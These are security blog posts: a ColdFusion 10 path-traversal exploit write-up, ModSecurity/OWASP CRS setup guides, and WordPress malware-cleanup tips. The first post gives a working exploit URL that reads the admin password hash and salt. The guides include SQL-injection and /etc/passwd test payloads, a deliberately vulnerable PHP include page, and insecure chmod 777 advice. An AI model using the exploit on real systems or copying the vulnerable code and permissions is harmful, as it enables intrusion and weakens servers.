ColdFusion 10 Remote File Disclosure Exploit

ColdFusion had several exploits in the past. ColdFusion 10 being the latest and stable release from Adobe it was hard to find any ready exploits.

As a part of external pentest, I had no information about the infrastructure in use, platform or installed applications. I ran Nessus as first part of network pentest and found that ColdFusion admin login page exists here: 

http://XX.XX.XX.XX/CFIDE/administrator/index.cfm

Next step is to get the version number. I got this by social engineering techniques..:)

Interestingly, ColdFusion 10 does not display its version number on the homepage now as compared to other previous versions. You need to assume it or need to get it from other means.

The Exploit

The exploit works if ColdFusion is not updated with latest patches, hotfixes and just has a raw installation. The Remote File Disclosure (RFD) allows accessing the operating system files, configuration files, logs, browsing complete server folders and CF admin password hash.

The vulnerability exists in l10n.cfm module as attribute.file parameter does not have validation for path traversal. This is pretty basic and how can Adobe miss this!!!

Vulnerable URL:

http://XX.XX.XX.XX/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp&attributes.file=../../administrator/mail/download.cfm&filename=../../../../../../../../../../../../../../coldfusion10/cfusion/lib/password.properties

Notes for successful exploits:

• You would need to do couple of ../../ before you get onto the password hash
• You would need to guess coldfusion home directory name
• You might need to have some knowledge of ColdFusion folder structure. Refer it here.

Post you have access to password hash, next step is to get the Salt so you can perform rainbow table attacks.

Here's a quick reference for you on CF sensitive files. You might want to access them too.

Password Hash URL:

http://XX.XX.XX.XX/CFIDE/adminapi/administrator.cfc?method=getSalt

Having all this information, you may now want to proceed with password cracking. I used ncrack and Hydra for password cracking and it worked pretty quickly as admin password was among the common passwords.

Happy Exploiting CF 10!!! 

Configuring ModSecurity with OWASP CRS – Part II

I hope you have successfully installed and configured LAMP and Modsecurity on your Ubuntu 10.04 box (If not, see my last post here). Next step is to configure Modsecurity with OWASP CRS (Core Rule Set) rules. Basically it does not make any sense to just install Modsecurity without configuring OWASP CRS rules as this will not protect you against any web attacks.

Here’s most simplest and workable steps for Ubuntu 10.04 environment:

1.       Download OWASP CRS from https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project

2.       Extract the contents to folder named "owasp"

3.       Copy owasp folder to /etc/apache2/rules

4.       Rename file modsecurity_crs_10_setup.conf.example to modsecurity_crs_10_setup.conf

5.       Browse to /etc/apache2/conf.d/security file and paste below lines inside <IfModule mod_security2.c>:

Include /etc/apache2/rules/owasp/*.conf

Include /etc/apache2/rules/owasp/base_rules/*.conf

6.       Restart apache2

sudo /etc/init.d/apache2 restart

Try attack payloads:

If configured correctly, you should get a 403 Forbidden page:

http://127.0.0.1/test.php?’or+1=1--

http://127.0.0.1/index.html?’or+1=1--

Below are the logs from mod security (/etc/apache2/logs/modsec_audit.log):

Your Modsecurity is now configured with basic OWASP CRS which is sufficient to protect you from common web application attacks.

Happy Reading !!!

Configuring ModSecurity with OWASP CRS – Part 1

In this series, I’m gonna write about the installation and configuration of ModSecurity with OWASP CRS on Ubuntu 10.0.4 and Apache2.

I was motivated to write about it when few of my clients just instantly asked me about blocking all known malicious web attacks at web server level itself. I quickly suggested them an open source, reliable WAF solution that suffice to their requirement. Obviously, just installing WAF does not mean that you do not need application security controls.

ModSecurity (developed by TrustWave) is a reliable open source WAF (Web Application Firewall) that sits between end user and your application server i.e. at web server level. ModSecurity has preconfigured basic security rules that are enabled on installation and configuration.

It is important to note that ModSecurity, in itself, provides very limited protection on its own. In order to make ModSecurity useful, it must be configured with rules. OWASP Defender Community has developed and maintains a free set of application protection rules called the OWASP ModSecurity Core Rule Set (CRS). These rules need to be integrated with ModSecurity to enable it to perform its fully functional tasks.

Refer here to read more about ModSecurity.

I searched a lot over internet for similar articles but most of them have incomplete or incorrect information which is a bit disappointing. I have tried to make this article most accurate, simple and to the point.

Background

I have a fresh installation of Ubuntu-desktop-10.0.04.iso (downloaded from here) and a VirtualBox installation (downloaded from here). First, we need to install LAMP (Linux, Apache, MySQL and PHP) on our new box to setup the test environment and run a sample PHP application to test our malicious payloads.

Below are the steps to follow:

Step 1: Download and install LAMP:

sudo apt-get update

sudo apt-get install php5 mysql-server apache2

Installation would prompt you to input MySQL password. Input MySQL password of your choice.

Step 2: Install PHP and MySQL

sudo apt-get install php5-mysql

Post successful installation, you will have LAMP installed on the box. To test setup, open a browser and type http://127.0.0.1. Below page should pop up that indicate successful installation of LAMP:

Step 3: Folder permission and test page setup

Issue below command to change permission of /var/www/ folder to create test.php file under /www/ folder:

sudo chmod 777 /var/www/

Create a test.php file and paste below code:

<?php

$secret_file = $_GET['secret_file'];

include ( $secret_file);

?>

Step 4: Test setup and perform basic attack

Open a web browser and access below URL. You should get passwd file on your browser.

http://localhost/test.php?secret_file=/etc/passwd

Step 5: ModSecurity installation

sudo apt-get install libxml2 libxml2-dev libxml2-utils

sudo apt-get install libaprutil1 libaprutil1-dev

sudo apt-get install libapache-mod-security

Step 6: Modify folder permission for apache2 and conf.d file to create ModSecurity rules directory:

sudo chmod 777 /etc/apache2/

sudo chmod 777 /etc/apache2/conf.d/security

Issue below commands to copy contents from download directory to /rules directory created under /apache2.

cp -R /usr/share/doc/mod-security-common/examples/rules /etc/apache2/

Note: All ModSecurity rules are now placed under /apache2 directory.

Step 7: Logs collection and configuring ModSecurity rules

Issue below command to create /logs directory under /apache2:

mkdir /etc/apache2/logs/

Modify /etc/apache2/conf.d/security file with below code:

<IfModule mod_security2.c>

        Include /etc/apache2/rules/*.conf

        Include /etc/apache2/rules/base_rules/*.conf

</IfModule>

Step 8: Completing setup

Restart apache:

sudo /etc/init.d/apache2 restart

Try attack payload http://127.0.0.1/test.php?secret_file=/etc/passwd . You should get 403 Forbidden. This indicates successful installation and configuration of ModSecurity Rules.

Below are the reference commands to enable and disable ModSecurity:

To enable ModSecurity:

a2enmod mod-security

Disable ModSecurity:

a2dismod mod-security

Above steps work for me like a charm on Ubuntu 10.0.4. Hope this helps.

In next part, we will have OWASP CRS installed and configured with ModSecurity.

Happy Reading!!!

Malware Analysis - Does only WP installation file cleaning makes you secure?

One word answer “NO”. This is based on my experience w.r.t cleaning Wordpress (WP) sites against malware attack. Hackers mostly attack CMS based websites i.e. WP and Joomla by inserting malicious links on target website to redirect users to their sites and rank up in the google search results. You may want to call it as “Illegal SEO techniques”.

Hackers mostly target vulnerable plugins, themes installed on a WP website. They tend to include their malicious data in header.php or footer.php present under /wp-content/themes/<theme_name> as it loads up with every page of your website. It’s a smart way to infect full website with just one file. This is usually hard to detect as the malicious data might be encoded or hidden inside an image.

Ideally when a website is hacked there are few steps that need to be performed immediately:

1. Replace your website folder with clean copy of website. This will save you from blacklisting by google
2. Perform a sucuri malware scan i.e. http://sitecheck.sucuri.net/scanner/ to check if you are already blacklisted
3. Inspect your plugins or themes folder for malicious code
4. Remove the malicious code from infected file

Once cleaned, next step is to inspect and clean your WP database.

WP Database Inspection

It is equally important to inspect and clean your WP database after you clean WP website files. This is to ensure that the malicious code does not appear again and you have a fully cleaned website. WP database can be accessed using PHPMyAdmin console. Below is the quickest way to do a database inspection:

1. Login to PHPMyAdmin console
2. Click on database_name in use
3. Export your complete database in a .sql format and open it in a text editor
4. Do a search for malicious code

In most cases, you will find the malicious code in database. Perform below steps to clean:

1. Identify the table and column in which malicious code exists
2. Perform PHPMyAdmin search on the infected table and look for the malicious row
3. Clean malicious code and click on Save
4. Repeat steps 1-3 for every row in the table

Please note you can run a query on full database as well but this will be more time-consuming and effort will be as equal as performing above steps.

On a final note, the most important things to remember if you own a WP site are:

1. Backup, backup, backup your website
2. Keep your WP version up-to-date
3. Have few of the security plugins installed for your WP website

Happy Reading!!!